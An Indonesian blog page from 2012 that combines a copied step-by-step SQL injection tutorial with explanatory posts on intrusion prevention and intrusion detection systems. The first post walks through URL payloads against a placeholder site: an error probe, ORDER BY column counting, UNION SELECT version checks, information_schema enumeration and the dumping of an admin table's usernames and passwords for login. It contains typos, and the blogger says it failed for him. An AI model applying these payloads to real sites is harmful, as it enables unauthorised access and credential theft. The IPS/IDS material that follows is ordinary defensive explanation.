Sabtu, 24 November 2012

SQL injection


1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah
http://www.target.com/berita.php?id=100
2. Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
Contoh :
http://www.target.com/berita.php?id=100'
atau
http://www.target.com/berita.php?id=-100
4. Maka akan muncul pesan error…
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya…
Disini kita akan menggunakan perintah order by
Contoh :
http://www.target.com/berita.php?id=100+order+by+1/*
Hohoho…apalagi itu “/*” ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake “–”. Terserah aja…
Kalo “+” sebagai penghubung perintah…
6. Nah sampe sini langsung dah nyobain satu2…
http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)
http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)
http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)
http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)
Sampai muncul error…
Misalkan errornya disini…
http://www.target.com/berita.php?id=100+order+by+10/*
Berarti yang kita ambil adalah “9″
http://www.target.com/berita.php?id=100+order+by+9/*
7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION
Contoh :
http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*
Trus perhatikan angka berapa yang keluar (Kayak togel aja… ;p)
8. Misalnya angka hoki yang keluar adalah “3″ maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah “version()” atau “@@version”
http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*
Atau
http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*
9. Nah kalo versinya 5 langsung aja pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada database…
Contoh :
http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*
Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya…Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain…ya maklum lah baru belajar…Hehehe…
Misalnya yang lo liat adalah table “admin”
Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata “table”-nya…
Contoh:
http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*
Misalnya kolom yang keluar adalah “password” dan “username”
Langsung aja kita liat isinya…
Contoh :
http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*
dan
http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*
Bisa diliat dah username ama passwordnya…Tinggal login…Cari yang asik terus…Terserah Anda…
langkah-langkah diatas saya dapet di salah saltu blog di google.....
 








SEMUA LANGKAH-LANGKAH SUDAH SAYA COBA TETAPI BELUM BERHASIL GAN.....
MUNGKIN SAYA BELUM BERUNTUNG....

Intrusion Prevention System (IPS) dan Intrusion Detection System (IDS)

Intrusion Prevention System (IPS), adalah pendekatan yang sering digunakan untuk membangun system keamanan komputer, IPS mengkombinasikan teknik firewall dan metode Intrusion Detection System (IDS) dengan sangat baik. Teknologi ini dapat digunakan untuk mencegah serangan yang akan masuk ke jaringan lokal dengan memeriksa dan mencatat semua paket data serta mengenali paket dengan sensor, disaat attack telah teridentifikasi, IPS akan menolak akses (block) dan mencatat (log) semua paket data yang teridentifikasi tersebut. Jadi IPS bertindak sepeti layaknya Firewall yang akan melakukan allow dan block yang dikombinasikan seperti IDS yang dapat mendeteksi paket secara detail. IPS menggunakan signatures untuk mendeteksi di aktivitas traffic di jaringan dan terminal, dimana pendeteksian paket yang masuk dan keluar (inbound-outbound) dapat di cegah sedini mungkin sebelum merusak atau mendapatkan akses ke dalam jaringan lokal. Jadi early detection dan prevention menjadi penekanan pada IPS ini.

Secara umum, ada dua jenis IPS, yaitu Host-based Intrusion Prevention System (HIPS) dan Network-based Intrusion Prevention System (NIPS).

Host-based Intrusion Prevention System (HIPS)
Host-based Intrusion Prevention System (HIPS) adalah sama seperti halnya Host-based Intrusion Detection System (HIDS). Program agent HIPS diinstall secara langsung di sistem yang diproteksi untuk dimonitor aktifitas sistem internalnya. HIPS di binding dengan kernel sistem operasi dan services sistem operasi. Sehingga HIPS bisa memantau dan menghadang system call yang dicurigai dalam rangka mencegah terjadinya intrusi terhadap host. HIPS juga bisa memantau aliran data dan aktivitas pada applikasi tertentu. Sebagai contoh HIPS untuk mencegah intrusion pada webserver misalnya. Dari sisi security mungkin solusi HIPS bisa mencegah datangnya  ancaman  terhadap host. Tetapi dari sisi performance, harus diperhatikan apakah HIPS memberikan dampak negatif terhadap performance host. Karena menginstall dan binding HIPS pada sistem operasi mengakibatkan penggunaan resource komputer host menjadi semakin besar.

Network-based Intrusion Prevention System (NIPS)
Network-based Intrusion Prevention System (NIPS) tidak melakukan pantauan secara khusus di satu host saja. Tetapi melakukan pantauan dan proteksi dalam satu jaringan secara global. NIPS menggabungkan fitur IPS dengan firewall dan kadang disebut sebagai In-Line IDS atau Gateway Intrusion Detection System (GIDS). Sistem kerja IPS yang populer yaitu pendeteksian berbasis signature, pendeteksian berbasis anomali, dan monitoring berkas-berkas pada sistem operasi host.

Sistematika IPS yang berbasis signature adalah dengan cara mencocokkan lalu lintas jaringan dengan signature database milik IPS yang berisi attacking rule atau cara-cara serangan dan penyusupan yang sering dilakukan oleh penyerang. Sama halnya dengan antivirus, IPS berbasis signature membutuhkan update terhadap signature database untuk metode-metode penyerangan terbaru. IPS berbasis signature juga melakukan pencegahan terhadap ancaman intrusi sesuai dengan signature database yang bersangkutan.

Sistematika IPS yang berbasis anomali adalah dengan cara melibatkan pola-pola lalu lintas jaringan yang pernah terjadi. Umumnya, dilakukan dengan menggunakan teknik statistik. Statistik tersebut mencakup perbandingan antara lalu lintas jaringan yang sedang di monitor dengan lalu lintas jaringan yang biasa terjadi (state normal). Metode ini dapat dikatakan lebih kaya dibandingkan signature-based IPS. Karena anomaly-based IPS dapat mendeteksi gangguan terhadap jaringan yang terbaru yang belum terdapat di database IPS. Tetapi kelemahannya adalah potensi timbulnya false positive, yaitu pesan/log yang belum semestinya dilaporkan. Sehingga tugas Network Administrator menjadi lebih rumit, dengan harus memilah-milah mana yang merupakan serangan yang sebenarnya dari banyaknya laporan false positive yang muncul.

Teknik lain yang digunakan adalah dengan cara melakukan monitoring berkas-berkas sistem operasi pada host. IPS akan melihat apakah ada percobaan untuk mengubah beberapa berkas sistem operasi, utamanya berkas log. Teknik ini diimplementasikan dalam IPS jenis Host-based Intrusion Prevention System (HIPS).Teknik yang digunakan IPS untuk mencegah serangan ada dua, yaitu sniping dan shunning.

Sniping : memungkinkan IPS untuk menterminasi serangan yang dicurigai melalui penggunaan paket TCP RST atau pesan ICMP Unreachable.

Shunnin g: memungkinkan IPS mengkonfigurasi secara otomatis firewall untuk drop traffic berdasar apa yang dideteksi oleh IPS. Untuk kemudian melakukan prevention terhadap koneksi tertentu. Perbedaan mendasar antara Intrusion Detection System (IDS) dan Intrusion Prevention System (IPS) dapat dilihat pada tabel berikut

Sampai saat ini IPS telah menjadi “the new brand” bagi para vendor, mereka berlomba-lomba untuk membuat solusi IPS, namun sangat disayangkan kebanyakan produk tersebut bersifat “proprietary” dan sangat susah untuk di kombinasikan dengan perangkat yang existing dipakai. Banyak peneliti yang terfokus pada signatures, baik disisi algorithma yang digunakan, permodelan dan pemecahan lainnya.Sebut saja vendor terkenal (cisco.com, bluecoat.com, juniper.net, astaro.com) yang memberikan banyak sekali solusi untuk IPS ini dengan “brand” yang berbeda-beda. 




Intrusion Detection System

adalah sebuah aplikasi perangkat lunak atau perangkat keras yang dapat mendeteksi aktivitas yang mencurigakan dalam sebuah sistem atau jaringan. IDS dapat melakukan inspeksi terhadap lalu lintas inbound dan outbound dalam sebuah sistem atau jaringan, melakukan analisis dan mencari bukti dari percobaan intrusi (penyusupan).

http://upload.wikimedia.org/wikipedia/id/4/48/IDS.png

- Ada dua jenis IDS, yakni:

1. Network-based Intrusion Detection System (NIDS): Semua lalu lintas yang mengalir ke sebuah jaringan akan dianalisis untuk mencari apakah ada percobaan serangan atau penyusupan ke dalam sistem jaringan. NIDS umumnya terletak di dalam segmen jaringan penting di mana server berada atau terdapat pada "pintu masuk" jaringan. Kelemahan NIDS adalah bahwa NIDS agak rumit diimplementasikan dalam sebuah jaringan yang menggunakan switch Ethernet, meskipun beberapa vendor switch Ethernet sekarang telah menerapkan fungsi IDS di dalam switch buatannya untuk memonitor port atau koneksi.

2.Host-based Intrusion Detection System (HIDS): Aktivitas sebuah host jaringan individual akan dipantau apakah terjadi sebuah percobaan serangan atau penyusupan ke dalamnya atau tidak. HIDS seringnya diletakkan pada server-server kritis di jaringan, seperti halnya firewall, web server, atau server yang terkoneksi ke Internet.

Kebanyakan produk IDS merupakan sistem yang bersifat pasif, mengingat tugasnya hanyalah mendeteksi intrusi yang terjadi dan memberikan peringatan kepada administrator jaringan bahwa mungkin ada serangan atau gangguan terhadap jaringan. Akhir-akhir ini, beberapa vendor juga mengembangkan IDS yang bersifat aktif yang dapat melakukan beberapa tugas untuk melindungi host atau jaringan dari serangan ketika terdeteksi, seperti halnya menutup beberapa port atau memblokir beberapa alamat IP. Produk seperti ini umumnya disebut sebagai Intrusion Prevention System (IPS). Beberapa produk IDS juga menggabungkan kemampuan yang dimiliki oleh HIDS dan NIDS, yang kemudian disebut sebagai sistem hibrid (hybrid intrusion detection system).


- Implementasi dan Cara Kerja : Ada beberapa cara bagaimana IDS bekerja. Cara yang paling populer adalah dengan menggunakan pendeteksian berbasis signature (seperti halnya yang dilakukan oleh beberapa antivirus), yang melibatkan pencocokan lalu lintas jaringan dengan basis data yang berisi cara-cara serangan dan penyusupan yang sering dilakukan oleh penyerang. Sama seperti halnya antivirus, jenis ini membutuhkan pembaruan terhadap basis data signature IDS yang bersangkutan.


Metode selanjutnya adalah dengan mendeteksi adanya anomali, yang disebut sebagai Anomaly-based IDS. Jenis ini melibatkan pola lalu lintas yang mungkin merupakan sebuah serangan yang sedang dilakukan oleh penyerang. Umumnya, dilakukan dengan menggunakan teknik statistik untuk membandingkan lalu lintas yang sedang dipantau dengan lalu lintas normal yang biasa terjadi. Metode ini menawarkan kelebihan dibandingkan signature-based IDS, yakni ia dapat mendeteksi bentuk serangan yang baru dan belum terdapat di dalam basis data signature IDS. Kelemahannya, adalah jenis ini sering mengeluarkan pesan false positive. Sehingga tugas administrator menjadi lebih rumit, dengan harus memilah-milah mana yang merupakan serangan yang sebenarnya dari banyaknya laporan false positive yang muncul.

Teknik lainnya yang digunakan adalah dengan memantau berkas-berkas sistem operasi, yakni dengan cara melihat apakah ada percobaan untuk mengubah beberapa berkas sistem operasi, utamanya berkas log. Teknik ini seringnya diimplementasikan di dalam HIDS, selain tentunya melakukan pemindaian terhadap log sistem untuk memantau apakah terjadi kejadian yang tidak biasa.